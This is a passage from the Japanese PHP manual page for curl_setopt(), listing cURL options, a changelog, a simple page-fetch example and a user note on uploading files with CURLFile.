CURLOPT_TCP_KEEPALIVE | この値を 1 に設定すると、TCP keepalive のプローブが送信されます。 これらのプローブを送信する頻度と遅延時間は オペレーティングシステムがサポートしていれば CURLOPT_TCP_KEEPIDLE と CURLOPT_TCP_KEEPINTVL で制御可能です。 0 に設定すると(デフォルト)、keepalive のプローブは送信されません。 | cURL 7.25.0 で追加されました。PHP 5.5.0 以降で利用可能です。
CURLOPT_TCP_KEEPIDLE | CURLOPT_TCP_KEEPALIVE が有効になっている場合に、 keepalive のプローブを送信する前に、接続をアイドルなままにしてオペレーティングシステムを待たせる 遅延時間を秒単位で設定します。 全てのオペレーティングシステムがこのオプションをサポートしているわけではありません。 デフォルトは 60 です。 | cURL 7.25.0 で追加されました。PHP 5.5.0 以降で利用可能です。
CURLOPT_TCP_KEEPINTVL | CURLOPT_TCP_KEEPALIVE が有効になっている場合に、 keepalive のプローブを送信する前に、オペレーティングシステムが待つ間隔を秒単位で設定します。 全てのオペレーティングシステムがこのオプションをサポートしているわけではありません。 デフォルトは 60 です。 | cURL 7.25.0 で追加されました。PHP 5.5.0 以降で利用可能です。
CURLOPT_TIMECONDITION | CURLOPT_TIMEVALUE の扱いを決定します。 CURLOPT_TIMEVALUE で指定した時刻以降に 変更されたページのみを返す場合は CURL_TIMECOND_IFMODSINCE を使用します。 CURLOPT_HEADER が true だと仮定すると、 ページが変更されていない場合は "304 Not Modified" ヘッダが返されます。 CURL_TIMECOND_IFUNMODSINCE は反対の意味です。 デフォルトは CURL_TIMECOND_IFMODSINCE です。
CURLOPT_TIMEOUT | cURL 関数の実行にかけられる時間の最大値。
CURLOPT_TIMEOUT_MS | cURL 関数の実行にかけられる最大のミリ秒数。 システムの標準の名前解決を使うように libcurl をビルドしている場合は、 接続のタイムアウトは秒単位の精度となり、最小のタイムアウトは 1 秒となります。 | cURL 7.16.2 で追加されました。PHP 5.2.3 以降で使用可能です。
CURLOPT_TIMEVALUE | 1970 年 1 月 1 日からの経過秒数。この値は CURLOPT_TIMECONDITION で使用されます。デフォルトでは CURL_TIMECOND_IFMODSINCE が設定されます。
CURLOPT_TIMEVALUE_LARGE | 1970年1月1日からの経過時刻を秒単位で示します。 この値は CURLOPT_TIMECONDITION によって使われます。 デフォルトは0です。 このオプションと CURLOPT_TIMEVALUE の違いは引数の型です。 'long' が 32ビット長しかないシステムでは、 2038年以降の日付を設定するためにこのオプションを使わなければいけません。 | cURL 7.59.0 で追加されました。PHP 7.3.0 以降で使用可能です。
CURLOPT_MAX_RECV_SPEED_LARGE | ダウンロード速度 (単位は「バイト/秒」) の転送中累加平均がこの値を超えると、 転送を一時停止して、平均速度がこのパラメータの値以下に落ちるまで待ちます。 デフォルトは無制限です。 | cURL 7.15.5 で追加されました。PHP 5.4.0 以降で使用可能です。
CURLOPT_MAX_SEND_SPEED_LARGE | アップロード速度 (単位は「バイト/秒」) の転送中累加平均がこの値を超えると、 転送を一時停止して、平均速度がこのパラメータの値以下に落ちるまで待ちます。 デフォルトは無制限です。 | cURL 7.15.5 で追加されました。PHP 5.4.0 以降で使用可能です。
CURLOPT_SSH_AUTH_TYPES | CURLSSH_AUTH_PUBLICKEY, CURLSSH_AUTH_PASSWORD, CURLSSH_AUTH_HOST, CURLSSH_AUTH_KEYBOARD のビットマスク。 CURLSSH_AUTH_ANY にすると libcurl がいずれかひとつを選択します。 | cURL 7.16.1 で追加されました。
CURLOPT_IPRESOLVE | ホスト名の解決にどの形式の IP アドレスを使うのかを、アプリケーションが選べるようにします。 複数のバージョンの IP アドレスで解決できるホスト名のときに使うもので、指定できる値は CURL_IPRESOLVE_WHATEVER、 CURL_IPRESOLVE_V4 そして CURL_IPRESOLVE_V6 です。 デフォルトは CURL_IPRESOLVE_WHATEVER です。 | cURL 7.10.8 で追加されました。
CURLOPT_FTP_FILEMETHOD | FTP(S) サーバー上のファイルに到達するために使う方法を curl に伝えます。利用可能な値は CURLFTPMETHOD_MULTICWD、 CURLFTPMETHOD_NOCWD および CURLFTPMETHOD_SINGLECWD です。 | cURL 7.15.1 で追加されました。PHP 5.3.0 以降で使用可能です。

value は、 option パラメータの 以下の値に関して文字列である必要があります。

オプション | value への設定値 | 注記
CURLOPT_ABSTRACT_UNIX_SOCKET | ホストにTCP接続する代わりに、抽象化されたUnixドメインソケットの使用を有効にし、 パスを指定された string に設定します。 このオプションは CURLOPT_UNIX_SOCKET_PATH と同じセマンティクスを共有しています。 これらのふたつのオプションは同じストレージを共有するので、 ハンドルごとにそれらのうちのひとつだけを設定できます。 | cURL 7.53.0 で追加されました。PHP 7.3.0 以降で利用可能です。
CURLOPT_CAINFO | 接続先を検証するための証明書を保持するファイル名。 これは CURLOPT_SSL_VERIFYPEER を使用する場合に のみ意味を持ちます。 | 絶対パスで指定しなければならないでしょう。
CURLOPT_CAPATH | 複数の証明書ファイルを保持するディレクトリ。このオプションは CURLOPT_SSL_VERIFYPEER とともに使用します。
CURLOPT_COOKIE | HTTP リクエストにおける "Cookie: " ヘッダの内容。 クッキーが複数ある場合は、セミコロンとスペースで区切られる (例 "fruit=apple; colour=red") ことに注意しましょう。
CURLOPT_COOKIEFILE | クッキーのデータを保持するファイルの名前。クッキーファイルは、 Netscape フォーマットあるいは HTTP ヘッダを単純にファイルにダンプしたものが使用可能です。 名前が空文字列の場合はクッキーを読み込みませんが、クッキーの処理は有効なままです。
CURLOPT_COOKIEJAR | ハンドルを閉じる際 (curl_close のコール後など) に、 すべての内部クッキーを保存するファイルの名前。
CURLOPT_COOKIELIST | 内部的な Cookie ストアに追加するCookie文字列(つまり、NetScape/Mozilla フォーマット または HTTP形式の Set-Cookieヘッダ)。 "ALL" の場合、メモリに保持している全てのクッキーを削除します。 "SESS" の場合、メモリに保持している全てのセッションクッキーを削除します。 "FLUSH" の場合、CURLOPT_COOKIEJAR で指定されたファイルに全ての既知の Cooie を書き込みます。 "RELOAD" の場合、CURLOPT_COOKIEFILE で指定されたファイルから全てのクッキーを読み込みます。 | PHP 5.5.0 および cURL 7.14.1 以降で利用可能です。
CURLOPT_CUSTOMREQUEST HTTP リクエストで "GET" あるいは "HEAD" 以外に 使用するカスタムメソッド。これが有用なのは、"DELETE" やその他のあまり知られていない HTTP リクエストを実行する場合です。 使用可能な値は "GET"、 "POST"、"CONNECT" などです。 HTTP リクエストの内容をすべて指定するわけではありません。つまり、 "GET /index.html HTTP/1.0\r\n\r\n" のような 記述は間違いだということです。

注意:

使用しようとしているメソッドをサーバーがサポートしていることを 確かめるまで、これを使用しないでください。

CURLOPT_DEFAULT_PROTOCOL

URL にスキーム名がなかった場合のデフォルトのプロトコル

cURL 7.45.0 で追加されました。PHP 7.0.7 以降で利用可能です。
CURLOPT_DNS_INTERFACE

DNS リゾルバがバインドするべきネットワークインターフェイス名を設定します。 これは、(アドレスではなく)インターフェイス名でなければなりません。

cURL 7.33.0 で追加されました。PHP 7.0.7 以降で利用可能です。
CURLOPT_DNS_LOCAL_IP4

リゾルバがバインドするべきローカルの IPv4 アドレスを設定します。 この値は、数値の IPv4 アドレスを文字列で含めるべきです。

cURL 7.33.0 で追加されました。PHP 7.0.7 以降で利用可能です。
CURLOPT_DNS_LOCAL_IP6

リゾルバがバインドするべきローカルの IPv6 アドレスを設定します。 この値は、数値の IPv6 アドレスを文字列で含めるべきです。

cURL 7.33.0 で追加されました。PHP 7.0.7 以降で利用可能です。
CURLOPT_EGDSOCKET | CURLOPT_RANDOM_FILE と似ていますが、 Entropy Gathering Daemon ソケットを使用してファイル名を生成する点が 違います。
CURLOPT_ENCODING | "Accept-Encoding: " ヘッダの内容。 これにより、応答のデコードを可能にします。サポートされる エンコーディングは "identity"、 "deflate" および "gzip" です。もし空文字列 "" が指定された場合、 サポートされるエンコーディングをすべて含むヘッダが送信されます。 | cURL 7.10 で追加されました。
CURLOPT_FTPPORT | FTP で "PORT" を使用するための IP アドレスを取得する際に使用される値。 "PORT" は、リモートサーバーに対してこちらが指定した IP アドレスに 接続するよう指示します。この値に設定できる内容は IP アドレス、ホスト名、 ネットワークインターフェイス名（Unix）、あるいは単に '-' を指定する ことでシステムのデフォルト IP アドレスを指定します。
CURLOPT_INTERFACE | 使用するネットワークインターフェイスの名前。 インターフェイス名、IP アドレスあるいはホスト名が指定可能です。
CURLOPT_KEYPASSWD | CURLOPT_SSLKEY あるいは CURLOPT_SSH_PRIVATE_KEYFILE 秘密鍵を使うときに必須となるパスワード。 | cURL 7.16.1 で追加されました。
CURLOPT_KRB4LEVEL | KRB4（Kerberos 4）セキュリティレベル。以下の値のいずれか （セキュリティの低い順です）が指定可能です。 "clear"、 "safe"、 "confidential"、 "private"。 文字列がこれらのどれでもなかった場合は、 "private" が使用されます。このオプションを null にすると KRB4 セキュリティを無効にします。現時点では、KRB4 セキュリティは FTP 転送にのみ使用可能です。
CURLOPT_LOGIN_OPTIONS | プロトコル特有のログインオプションを設定するために使えます。 たとえば好ましい認証メカニズムが "AUTH=NTLM" とか "AUTH=*" の場合で、 CURLOPT_USERNAME オプションと組み合わせて使うべき場合です。 | cURL 7.34.0 で追加されました。PHP 7.0.7 以降で利用可能です。
CURLOPT_PINNEDPUBLICKEY | ピン止めされた公開鍵を設定します。 ピン止めされた公開鍵のファイル名ファイル名を文字列として指定できます。 期待されているファイルフォーマットは "PEM" または "DER" 形式です。 文字列は、 base64 エンコードされた sha256 ハッシュで、 "sha256//" が先頭に付いたものです。これを任意の数だけ指定でき、 ";" で区切られます。 | cURL 7.39.0 で追加されました。PHP 7.0.7 以降で利用可能です。
CURLOPT_POSTFIELDS | HTTP "POST" で送信するすべてのデータ。 このパラメータは 'para1=val1&para2=val2&...' のように url エンコードされた文字列形式で渡すこともできますし、 フィールド名をキー、データを値とする配列で渡すこともできます。 value が配列の場合、 Content-Type ヘッダには multipart/form-data を設定します。 ファイルは CURLFile を使って送信することが出来ます。 この場合、value は配列でなければなりません。
CURLOPT_PRIVATE | この cURL ハンドルに関連づけるデータ。ここで関連づけたデータは、 curl_getinfo() の CURLINFO_PRIVATE オプションで取得できます。 cURL はデータを一切加工しません。 cURL マルチハンドルを使う場合は一般的に、この値が cURL ハンドルを特定する一意なキーとなります。 | cURL 7.10.3 で追加されました。
CURLOPT_PRE_PROXY | CURLOPT_PROXY で指定された HTTP(S) プロキシにcurlが接続する前に、 事前に接続する preproxy を設定します。 この値には、ホスト名またはドットで区切られた数値のIPアドレスを設定します。 preproxy は SOCKS プロキシだけがなることができ、 どの socks を使うかを指定するために [scheme]:// を先頭に付けます。 数値の IPv6 アドレスは 角括弧 "[]" 内に書かなければいけません。 preproxy にから文字列を設定すると、明示的に preproxy を無効にできます。 この文字列にポート番号を設定するには、 ホスト名の最後に :[port] を追加します。 プロキシのポート番号は別のオプション CURLOPT_PROXYPORT で指定しても構いません。ポート番号を指定しない場合は、 デフォルトでは 1080 を使います。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY | リクエストを経由させる HTTP プロキシ。
CURLOPT_PROXY_SERVICE_NAME | プロキシ認証サービス名 | cURL 7.34.0 で追加されました。PHP 7.0.7 以降で利用可能です。
CURLOPT_PROXY_CAINFO | 証明書認証局(CA)バンドルのパス。 HTTPS プロキシを検証するためのひとつ以上の証明書を持つファイル名のパスを string で設定します。 このオプションはHTTPSプロキシに接続するためのもので、 HTTPSサーバに接続するためのものではありません。 デフォルトでは、libcurl の cacert バンドルが保存されていると想定されている システムパスが設定されます。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_CAPATH | HTTPSプロキシを検証するための複数のCA証明書が置かれたディレクトリ。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_CRLFILE | PEMフォーマットの CRL (Certificate Revocation List, 証明書失効リスト) を連結したファイル名を設定します。 これはSSL通信の際に行われる証明書の検証に使います。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_KEYPASSWD | CURLOPT_PROXY_SSLKEY で設定する秘密鍵で使う、 必須のパスワードを設定します。 証明書を読み込むのにパスフレーズは不要ですが、 秘密鍵を読み込むにはパスフレーズが必要です。 このオプションはHTTPSプロキシに接続するために必要です。 HTTPSサーバに接続するためのものではありません。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_PINNEDPUBLICKEY | HTTPSプロキシ向けの pinned public key を設定します。 pinned public key のファイル名を文字列で設定できます。 ファイルフォーマットは "PEM" または "DER" です。 base64 エンコードされた sha256 ハッシュ を任意の数だけ "sha256//" の後に続けることもできます。このハッシュは ";" で区切ります。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_SSLCERT | HTTPSプロキシに接続する時に使うクライアント証明書のフォーマット。 デフォルトは Secure Transport の場合 "P12" で、 それ以外のエンジンでは "PEM" ですが、 CURLOPT_PROXY_SSLCERTTYPE でも変更できます。 NSS や Secure transport では、 セキュリティデータベースで名付けられた証明書のニックネームも設定できます。 現在のディレクトリにあるファイルを使いたい場合は、 ニックネームとの混乱を避けるため "./" をプレフィックスとして付けてください。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_SSLCERTTYPE | HTTPSプロキシに接続する時に使うクライアント証明書のフォーマット。 サポートされているのは "PEM" と "DER" ですが、 Secure Transport はこれらをサポートしていません。 OpenSSL (0.9.3 以降) と Secure Transport (iOS 5 以降, または OS X 10.7 以降) では PKCS#12-encoded ファイル向けに "P12" もサポートしています。デフォルトは "PEM" です。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_SSL_CIPHER_LIST | HTTPSプロキシと接続を確立するために使う暗号スイートの一覧。 この一覧はひとつ以上の暗号スイートの文字列がコロンで区切られており、 構文的に正しくなければなりません。 コンマやスペースも区切り文字としては有効ですが、通常はコロンが使われます。 !, - および + が演算子として使えます。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_TLS13_CIPHERS | TLS 1.3 接続をプロキシと確立するために使う暗号スイートの一覧。 この一覧はひとつ以上の暗号スイートの文字列がコロンで区切られており、 構文的に正しくなければなりません。 現状、このオプションはcurlが OpenSSL 1.1.1 以降とビルドされた時にだけ使われています。 OpenSSL 以外のSSLバックエンドを使っている場合は、 CURLOPT_PROXY_SSL_CIPHER_LIST オプションを使って TLS 1.3 の暗号スイートを設定できます。 | PHP 7.3.0 以降 および cURL >= 7.61.0 と OpenSSL >= 1.1.1 をビルドした場合に使用可能です。
CURLOPT_PROXY_SSLKEY | HTTPSプロキシに接続するのに使う秘密鍵のファイル名。 デフォルトのフォーマットは "PEM" で、 そのフォーマットは CURLOPT_PROXY_SSLKEYTYPE で変更できます。 (iOS と Mac OS X のみ) Secure Transport を使って curl がビルドされている場合、 このオプションは無視されます。 | PHP 7.3.0 以降 および cURL >= 7.61.0 をビルドした場合、 かつ TLS が有効な場合にのみ使用可能です。
CURLOPT_PROXY_SSLKEYTYPE | 秘密鍵のフォーマット。"PEM", "DER" および "ENG" がサポートされています。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_TLSAUTH_PASSWORD | CURLOPT_PROXY_TLSAUTH_TYPE オプションで指定したTLS認証メソッド で使うパスワード。 CURLOPT_PROXY_TLSAUTH_USERNAME オプションも設定する必要があります。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_TLSAUTH_TYPE HTTPS接続で使うTLS認証メソッド。 "SRP" がサポートされています。

注意:

TLS の Secure Remote Password (SRP) 認証は、 ローカルとリモートの双方が共通のシークレットを持っている場合に、 お互いを認証する方法を提供します。 TLS-SRP を使うためには、 CURLOPT_PROXY_TLSAUTH_USERNAME と CURLOPT_PROXY_TLSAUTH_PASSWORD オプションも設定する必要があります。

PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_TLSAUTH_USERNAME | CURLOPT_PROXY_TLSAUTH_TYPE オプションで指定された HTTPSプロキシのTLS認証メソッドで使うユーザー名。 CURLOPT_PROXY_TLSAUTH_PASSWORD オプションも設定する必要があります。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXYUSERPWD | プロキシに接続するためのユーザー名とパスワード。 "[username]:[password]" 形式で指定します。
CURLOPT_RANDOM_FILE | 使用するファイル名を、SSL の乱数生成器を使用して作成します。
CURLOPT_RANGE | 取得するデータの範囲を "X-Y" 形式で指定します。X あるいは Y は省略可能です。 HTTP 転送では、いくつかの範囲をカンマで区切った "X-Y,N-M" のような形式もサポートしています。
CURLOPT_REFERER | HTTP リクエストで使用される "Referer: " ヘッダの内容。
CURLOPT_SERVICE_NAME | 認証サービス名 | cURL 7.43.0 で追加されました。PHP 7.0.7 以降で利用可能です。
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 | 32 桁の十六進文字列。この文字列は、リモートホストの公開鍵の MD5 チェックサムでなければなりません。 md5sum がマッチしない限り、libcurl はホストとの接続を拒否します。 このオプションは、SCP および SFTP でのみ有効です。 | cURL 7.17.1 で追加されました。
CURLOPT_SSH_PUBLIC_KEYFILE | 公開鍵のファイル名。指定しなかった場合、libcurl はデフォルトの場所を探します。デフォルトは、 環境変数 HOME が設定されていれば $HOME/.ssh/id_dsa.pub、設定されていなければ カレントディレクトリの "id_dsa.pub" です。 | cURL 7.16.1 で追加されました。
CURLOPT_SSH_PRIVATE_KEYFILE | 秘密鍵のファイル名。指定しなかった場合、libcurl はデフォルトの場所を探します。デフォルトは、 環境変数 HOME が設定されていれば $HOME/.ssh/id_dsa、設定されていなければ カレントディレクトリの "id_dsa" です。 ファイルがパスワードで保護されている場合は、パスワードを CURLOPT_KEYPASSWD に設定します。 | cURL 7.16.1 で追加されました。
CURLOPT_SSL_CIPHER_LIST | SSL で使用する暗号のリスト。例えば RC4-SHA および TLSv1 が 使用可能です。
CURLOPT_SSLCERT | PEM フォーマットの証明書を含むファイルの名前。
CURLOPT_SSLCERTPASSWD | CURLOPT_SSLCERT 証明書を使用する際に必要なパスワード。
CURLOPT_SSLCERTTYPE | 証明書の形式。サポートされるフォーマットは "PEM"（デフォルト）、"DER" および "ENG" です。 OpenSSL 0.9.3 以降では、 "P12" (PKCS#12 でエンコードされたファイル) もサポートしています。 | cURL 7.9.3 で追加されました。
CURLOPT_SSLENGINE | CURLOPT_SSLKEY で指定した SSL 秘密鍵の 暗号化エンジンの ID 。
CURLOPT_SSLENGINE_DEFAULT | 非対称暗号化で使用する暗号化エンジンの ID 。
CURLOPT_SSLKEY | SSL 秘密鍵を含むファイルの名前。
CURLOPT_SSLKEYPASSWD CURLOPT_SSLKEY で指定した SSL 秘密鍵を 使用するために必要なパスワード。

注意:

このオプションには重要なパスワードが含まれます。PHP スクリプトを 安全な状態におくことを忘れないでください。

CURLOPT_SSLKEYTYPE | CURLOPT_SSLKEY で指定した SSL 秘密鍵の 形式。サポートされる型は以下のとおりです。 "PEM"（デフォルト）、"DER" および "ENG" 。
CURLOPT_TLS13_CIPHERS | TLS 1.3 接続を確立するために使う暗号スイートの一覧。 この一覧はひとつ以上の暗号スイートの文字列がコロンで区切られており、 構文的に正しくなければなりません。 このオプションは現状、OpenSSL 1.1.1 以降でcurlがビルドされている場合にだけ使われています。 他のSSLバックエンドを使っている場合、 CURLOPT_SSL_CIPHER_LIST を使うと TLS 1.3 の暗号スイートを設定できます。 | PHP 7.3.0 以降 および cURL >= 7.61.0 と OpenSSL >= 1.1.1 をビルドした場合に使用可能です。
CURLOPT_UNIX_SOCKET_PATH | 接続のエンドポイントとして Unixドメインソケットの利用を有効にし、 ドメインソケットのパスを与えられた string として設定します。 | cURL 7.40.0 で追加されました。 PHP 7.0.7 以降で利用可能です。
CURLOPT_URL | 取得する URL 。curl_init() でセッションを 初期化する際に指定することも可能です。
CURLOPT_USERAGENT | HTTP リクエストで使用される "User-Agent: " ヘッダの内容。
CURLOPT_USERNAME | 認証に使うユーザー名 | cURL 7.19.1 で追加されました。PHP 5.5.0 以降で利用可能です。
CURLOPT_USERPWD | 接続に使用するユーザー名とパスワード。 "[username]:[password]" 形式で指定します。
CURLOPT_XOAUTH2_BEARER | OAuth 2.0 のアクセストークンを指定します。 | cURL 7.33.0 で追加されました。PHP 7.0.7 以降で利用可能です。

value には、 option の以下の値に関して 配列を指定する必要があります。

オプション | value への設定値 | 注記
CURLOPT_CONNECT_TO | URL で指定されたホストとポートのかわりに接続する、 特定のホストとポート。 HOST:PORT:CONNECT-TO-HOST:CONNECT-TO-PORT というフォーマット文字列の配列を受け入れます。 | cURL 7.49.0 で追加されました。 PHP 7.0.7 以降で利用可能です。
CURLOPT_HTTP200ALIASES | エラーではなく正常な応答として扱われる、HTTP 200 レスポンスの配列。 | cURL 7.10.3 で追加されました。
CURLOPT_HTTPHEADER | 設定する HTTP ヘッダフィールドの配列。 array('Content-type: text/plain', 'Content-length: 100') 形式。
CURLOPT_POSTQUOTE | FTP リクエストの実行後に、サーバー上で実行する FTP コマンドの配列。
CURLOPT_PROXYHEADER | プロキシに渡すカスタムHTTPヘッダの配列 | cURL 7.37.0 で追加されました。 PHP 7.0.7 以降で利用可能です。
CURLOPT_QUOTE | FTP リクエストの前にサーバー上で実行する FTP コマンドの配列。
CURLOPT_RESOLVE | 特定のホストとポートのペアのための、カスタムアドレスを指定します。 ホスト名、ポート、そして IP アドレスの文字列の配列です。 それぞれの要素はコロンで区切る必要があります。 以下のようなフォーマットになります: array("example.com:80:127.0.0.1") | cURL 7.21.3 で追加されました。 PHP 5.5.0 以降で利用可能です。

value はストリームリソース（例えば fopen() が作成するもの）であり、以下の option パラメータに設定します。

オプション | value に設定する内容
CURLOPT_FILE | 転送内容が書き込まれるファイル。デフォルトは STDOUT （ブラウザウィンドウ）。
CURLOPT_INFILE | アップロード時に転送内容を読み込むファイル。
CURLOPT_STDERR | STDERR の代わりにエラーを出力する場所。
CURLOPT_WRITEHEADER | 転送のヘッダ部分が書き込まれるファイル。

value には、 option の以下の値に関して 有効な関数あるいはクロージャの名前を指定する必要があります。

オプション | value への設定値
CURLOPT_HEADERFUNCTION | 二つのパラメータをとるコールバック。 最初のパラメータは CURL リソースで、2 番目は書き込む ヘッダデータの文字列です。このコールバック関数を使用するにあたり、 ヘッダデータを書き込む処理を実装するのはあなたの役目となります。 書き込んだデータのバイト数を返します。
CURLOPT_PASSWDFUNCTION | 三つのパラメータをとるコールバック。 最初のパラメータは CURL リソースで、2 番目はパスワード プロンプトの文字列、そして 3 番目はパスワードの最大長です。 入力されたパスワードを文字列で返します。
CURLOPT_PROGRESSFUNCTION

五つのパラメータをとるコールバック。 最初のパラメータは cURL 利ソールで、2 番目はこの転送でダウンロードしようとしている総バイト数、 3 番目はこれまでにダウンロードしたバイト数、4 番目はこの転送でアップロードしようとしている総バイト数、 そして 5 番目はこれまでにアップロードしたバイト数です。

注意:

このコールバックが呼ばれるのは、CURLOPT_NOPROGRESS が false の場合だけです。

ゼロ以外の値を返すと、転送を強制終了できます。このとき、この転送にはエラー CURLE_ABORTED_BY_CALLBACK が設定されます。

CURLOPT_READFUNCTION | 三つのパラメータをとるコールバック。 最初のパラメータは CURL リソースで、2 番目は CURLOPT_INFILE で cURL に渡したストリームリソース、 そして最後が読み込むデータの最大量です。 コールバックは、要求したデータ量以下の長さの文字列を返さなければなりません。 一般的には、渡されたストリームリソースから読み込んだデータを返します。 EOF を伝えるには空文字列を返さなければなりません。
CURLOPT_WRITEFUNCTION | 二つのパラメータをとるコールバック。 最初のパラメータは CURL リソースで、2 番目は書き込む データの文字列です。データの保存には、 このコールバック関数を使わなければなりません。 書き込んだデータの正確なバイト数を返す必要があります。 返さなければ、エラーで転送が異常終了します。

その他の値

オプション | value への設定値
CURLOPT_SHARE | curl_share_init() の結果。 この cURL ハンドルに、共有ハンドルからのデータを使わせるようにします。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。
7.3.15, 7.4.3 | CURLOPT_HTTP09_ALLOWED が追加されました。
7.3.0 | CURLOPT_ABSTRACT_UNIX_SOCKET, CURLOPT_KEEP_SENDING_ON_ERROR, CURLOPT_PRE_PROXY, CURLOPT_PROXY_CAINFO, CURLOPT_PROXY_CAPATH, CURLOPT_PROXY_CRLFILE, CURLOPT_PROXY_KEYPASSWD, CURLOPT_PROXY_PINNEDPUBLICKEY, CURLOPT_PROXY_SSLCERT, CURLOPT_PROXY_SSLCERTTYPE, CURLOPT_PROXY_SSL_CIPHER_LIST, CURLOPT_PROXY_SSLKEY, CURLOPT_PROXY_SSLKEYTYPE, CURLOPT_PROXY_SSL_OPTIONS, CURLOPT_PROXY_SSL_VERIFYHOST, CURLOPT_PROXY_SSL_VERIFYPEER, CURLOPT_PROXY_SSLVERSION, CURLOPT_PROXY_TLSAUTH_PASSWORD, CURLOPT_PROXY_TLSAUTH_TYPE, CURLOPT_PROXY_TLSAUTH_USERNAME, CURLOPT_SOCKS5_AUTH, CURLOPT_SUPPRESS_CONNECT_HEADERS, CURLOPT_DISALLOW_USERNAME_IN_URL, CURLOPT_DNS_SHUFFLE_ADDRESSES, CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS, CURLOPT_HAPROXYPROTOCOL, CURLOPT_PROXY_TLS13_CIPHERS, CURLOPT_SSH_COMPRESSION, CURLOPT_TIMEVALUE_LARGE および CURLOPT_TLS13_CIPHERS が追加されました。
7.0.7 | CURL_HTTP_VERSION_2, CURL_HTTP_VERSION_2_PRIOR_KNOWLEDGE, CURL_HTTP_VERSION_2TLS, CURL_REDIR_POST_301, CURL_REDIR_POST_302, CURL_REDIR_POST_303, CURL_REDIR_POST_ALL, CURL_VERSION_KERBEROS5, CURL_VERSION_PSL, CURL_VERSION_UNIX_SOCKETS, CURLAUTH_NEGOTIATE, CURLAUTH_NTLM_WB, CURLFTP_CREATE_DIR, CURLFTP_CREATE_DIR_NONE, CURLFTP_CREATE_DIR_RETRY, CURLHEADER_SEPARATE, CURLHEADER_UNIFIED, CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE, CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE, CURLMOPT_MAX_HOST_CONNECTIONS, CURLMOPT_MAX_PIPELINE_LENGTH, CURLMOPT_MAX_TOTAL_CONNECTIONS, CURLOPT_CONNECT_TO, CURLOPT_DEFAULT_PROTOCOL, CURLOPT_DNS_INTERFACE, CURLOPT_DNS_LOCAL_IP4, CURLOPT_DNS_LOCAL_IP6, CURLOPT_EXPECT_100_TIMEOUT_MS, CURLOPT_HEADEROPT, CURLOPT_LOGIN_OPTIONS, CURLOPT_PATH_AS_IS, CURLOPT_PINNEDPUBLICKEY, CURLOPT_PIPEWAIT, CURLOPT_PROXY_SERVICE_NAME, CURLOPT_PROXYHEADER, CURLOPT_SASL_IR, CURLOPT_SERVICE_NAME, CURLOPT_SSL_ENABLE_ALPN, CURLOPT_SSL_ENABLE_NPN, CURLOPT_SSL_FALSESTART, CURLOPT_SSL_VERIFYSTATUS, CURLOPT_STREAM_WEIGHT, CURLOPT_TCP_FASTOPEN, CURLOPT_TFTP_NO_OPTIONS, CURLOPT_UNIX_SOCKET_PATH, CURLOPT_XOAUTH2_BEARER, CURLPROTO_SMB, CURLPROTO_SMBS, CURLPROXY_HTTP_1_0, CURLSSH_AUTH_AGENT, CURLSSLOPT_NO_REVOKE が追加されました。

例

例1 新規に cURL セッションを初期化、ウェブページを取得する

<?php
// 新しい cURL リソースを作成します
$ch = curl_init();

// URL その他のオプションを適切に設定します
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, false);

// URL の内容を取得し、ブラウザに渡します
curl_exec($ch);

// cURL リソースを閉じ、システムリソースを開放します
curl_close($ch);
?>

注意

注意:

配列を CURLOPT_POSTFIELDS に渡すと、データを multipart/form-data でエンコードします。 一方 URL エンコードされた文字列を渡すと、データを application/x-www-form-urlencoded でエンコードします。

参考

  • curl_setopt_array() - CURL 転送用の複数のオプションを設定する

User Contributed Notes

qwertz182 06-Nov-2020 11:18
As the "example #2 Uploading file" says it is deprecated as of PHP 5.5.0 but doesn't tell you how it's done right,
here is a really easy example using the CURLFile class:

<?php
$request = [
    'firstName' => 'John',
    'lastName' => 'Doe',
    'file' => new CURLFile('example.txt', 'text/plain') // or use curl_file_create()
];

$curlOptions = [
    CURLOPT_URL => 'http://example.com/upload.php',
    CURLOPT_POST => true,
    CURLOPT_HEADER => false,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POSTFIELDS => $request,
];

$ch = curl_init();
curl_setopt_array($ch, $curlOptions);

$response = curl_exec($ch);
?>

This is just like posting a html form with an input[type=file] field.
The result on windows could look like this:

<?php
// $_POST
Array
(
    [firstName] => John
    [lastName] => Doe
)

// $_FILES
Array
(
    [file] => Array
        (
            [name] => example.txt
            [type] => text/plain
            [tmp_name] => C:\wamp64\tmp\php3016.tmp
            [error] => 0
            [size] => 14
        )

)
?>

Since the request is an array (and not a string), curl will automatically encode the data as "multipart/form-data".
Please be aware that if you pass an invalid file path to CURLFile, setting the CURLOPT_POSTFIELDS option will fail.
So if you are using curl_setopt_array for setting the options at once, according to the manual, "If an option could not be successfully set, FALSE is immediately returned, ignoring any future options in the options array.".
So you should make sure that the file exists or set CURLOPT_POSTFIELDS with curl_setopt() and check if it returns false and act accordingly.
